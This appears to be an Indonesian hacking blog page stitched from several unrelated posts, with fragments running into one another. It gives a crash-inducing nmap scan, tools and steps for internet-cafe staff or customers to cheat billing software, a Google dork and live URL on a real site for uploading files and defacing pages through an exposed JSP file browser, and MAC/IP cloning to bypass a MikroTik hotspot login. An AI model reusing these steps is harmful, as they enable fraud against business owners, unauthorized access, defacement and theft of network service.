1. zer03s# nmap -T 5 -M 1000 -sT 203.130.254.xx

Warning: Your max_parallelism (-M) option is absurdly high! Don’t complain to Fyodor if all hell breaks loose!berhubung target tujuan sudah memakai Stack-Guard (maka tidak terjadi kerusakan), tapi apabila anda melakukan ini ke Host yang running W*ndows XP kemungkinan 95% akan mengalami Crash.bila kamu perhatikan bahwa aku memberi nmap -T 5 -M 1000,”Flag” -M adalah “Flag” untuk menggunakan jumlah maksimal “socket” yang digunakan oleh Nmap dan 60 “Socket” sudah bisa dikategorikan banyak (dan diatas ane memakai 1000 !! tapi itu sudah sangat efektif


Jika Anda Memakai BillingExplorer Ilegal, Hati-hati, Karena ada Program yang dapat membobol Billing Anda, Sehingga Anda Sebagai Pemilik Warnet/Game centre akan mengalami  

KERUGIAN YANG BESAR.

A. Download Untuk Membuka Password Billing Server :


Nb.
Download salah satu, Jika file berupa ZIP, maka harus diekstrak menjadi dd123.exe Jika donwload file EXE, bisa langsung dijalankan.  File EXE dicopykan dulu ke direktory program billingexplorer di server,  lalu dijalankan file EXE nya. Jika File diatas dijalankan, maka akan kelihatan password billing.  Report Pendapatan Harian/Bulanan/Tahunan Juga kelihatan. Misal Pendapatan Warnet hari ini Rp. 250 ribu, Jika File tersebut diatas dijalankan, anda sebagai Operator, bisa MENDELETE / MENGHAPUS beberapa Record Data Pemasukkan, anda DELETE dengan nilai sampai Rp. 50 ribu. sehingga Total pendapatan yang Tampil adalah Rp. 200 Ribu. Anda sebagai Pemilik Warnet Game tidak akan tahu, Jika SETIAP HARI,
Pendapatan anda berkurang Rp. 50 Ribu. Total Kerugian 1 Bulan = Rp 50 ribu x 30 = Rp. 1.500.000,-
Total Kerugian 1 Tahun (12 Bulan) = Rp. 1.500.000 x 12 = Rp. 18.000.000,- Dari situ anda bisa tahu, Anda tetap memakai Billing Ilegal (Yang bisa dimanipulasi)atau Memakai Billing Original yang seharga 1 – 2 jutaan Tapi bisa dipakai seterusnya ?

B. Download Untuk Client :
www.billingxp.com/hackclient.zip

Nb.
Download salah satu, Jika file berupa ZIP, maka harus diekstrak menjadi file EXE Jika donwload file EXE, bisa langsung dijalankan. File dicopykan ke client. Jika Anda para Pemain atau User di warnet, download File diatas,  Lalu jalankan di Client. Caranya sbb :
Setelah anda login di client, Durasi Waktu di Client akan berjalan,  0.., 1,2,3,4 …. detik,  Misal Biaya yang muncul = rp 1000 Tunggu beberapa saat, supaya Operator Tidak curiga, Lalu jalankan file EXE Hack Client diatas, anda tekan tombol STOP. Maka Perhitungan di Server akan berhenti. Karena di Server Durasi dan Biaya sudah berhenti.


what u can do after found the browser? of cause its similar to webshell (c99,r57,etc) just this is in jsp platform 
Code:
Dork: inurl:".jsp?sort=" intext:"file browser"
POC
masukan dork di keywork google,,setelah kluar pilih salah satu target.
Code:
http://phc-isf.ir/Files/Docs/brow.jsp?sort=1&file=%2Fhome%2Fwww%2FROXAN%2FStandard%2Fphc-isf%2FWeb%2FFileManager%2FBrowser.jsp
setelah itu hapus/sisakan…
Code:
http://phc-isf.ir/Files/Docs/brow.jsp?
DONE!   silakan upload file apa saja ,page deface juga bisa.


Kali ini ane cuman mau share nih cara ane memonitor dab ngotrol komputer ane klo lgi di pinjem ama temen bwt internetan, ato lgi ngerjain tugas trus nyambung ke internet dari jarak jauh pastinya. pada initinya ni software buat ngeremot ama memonitor PC ato Laptop kita dari jarak jauh dengan menggunakan media Twitter dan klo ane sih lebih suka ngeremote komputernya dari handphone lewat Mobile Twitter biar lebih gaya gitu. okey Kembali ke leptop kita langsung aja ke bahan2 dan cara pembuatannya.

1. Koneksi Internet (pastinya)
2. Akun Twitter (saran ane sih bikin akun lgi bwt ngeremotnya)
3. Program TweetMyPC
4. Hengpon (jika perlu)

Cara Pembuatanya :
1. Buat Akun twitter baru… (gw yakin tmen2 smua udah bsa yg gni mah)
2. Donglot dan Install program TweetMyPC-nya…
Required: * Windows Installer 3.1
* .NET Framework 3.5 SP1
3. masukin setinggan sesuai yg tadi di daftarin


4. trus klik Sign With Twitter dan langsung login.


5. Tungguin sampe nomer togel-nya keluar.


6.masukin kedalam Kolomnya trus Klik save setting


7. tinggal di pake deh programnya trus buka web browser,  Kunmpulan Commandnya DISINI ngetik commandnya dari henpon ane…


nah sip… selesai juga… smoga membantu buat temen2 semua, selamat berkreasi dengan Command2-nya dan bisa juga bikin custom command yang bisa kita operasiin buat ngejalanin program2 yg sdikit nakal,


Tampa basa-basi saya akan membahas gimana cara membypass password mikrotik atau menyusup ke jaringan hotspot yg bermikrotik tampa minta password kesana-kemari hohoho.

1. required software :

 #yang pake win7, habis nginstal netcut, instal juga http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe

2. konekin laptop kamu ke hotspotnya
3. jalanin netcut nya
4. Pilih LAN Card / NIC yang kamu pake dengan mengklik menu Choice NetCard


5. Terus pindah ke menu utama, pilih network orang lain, jangan pilih network kamu sendiri atwpun network server


6. Pindah dan copy IP address dan MAC address dengan klik print table dan copy ke notepad.


7. Paste di notepad, terus edit nilai MAC address, pada contoh ini [00:26:5E:60:81:1C]. Hilangin tanda [:] ampe jadi 00265E60811C. Nilai ini yang akan agan pake buat ngubah MAC address agan.

8. wokeyh, terus disable dulu wireless LAN agan. Buka properties wireless LAN dan ubah nilai Local Administration MAC Network, default kosong. Isikan dengan nilai tadi, misalnya 00265E60811C.


9. Set IP wireless LAN dengan IP yang sama yaitu 192.168.182.18 dan isi juga DNS server address.


10. wew , enable kan wireless LAN kamu, dan sekarang kamu connect tanpa menu login (tanpa tanya2 orang dulu pastinya.

NB: Untuk mengetahui DNS server address bisa dicek sebelum kita merubah MAC dan IP. Jadi waktu pertama kali kita terhubung ke hotspot, dengan cara mengetik perintah dari command prompt C:\>ipconfig/all


Follow:

Created by ThemeXpose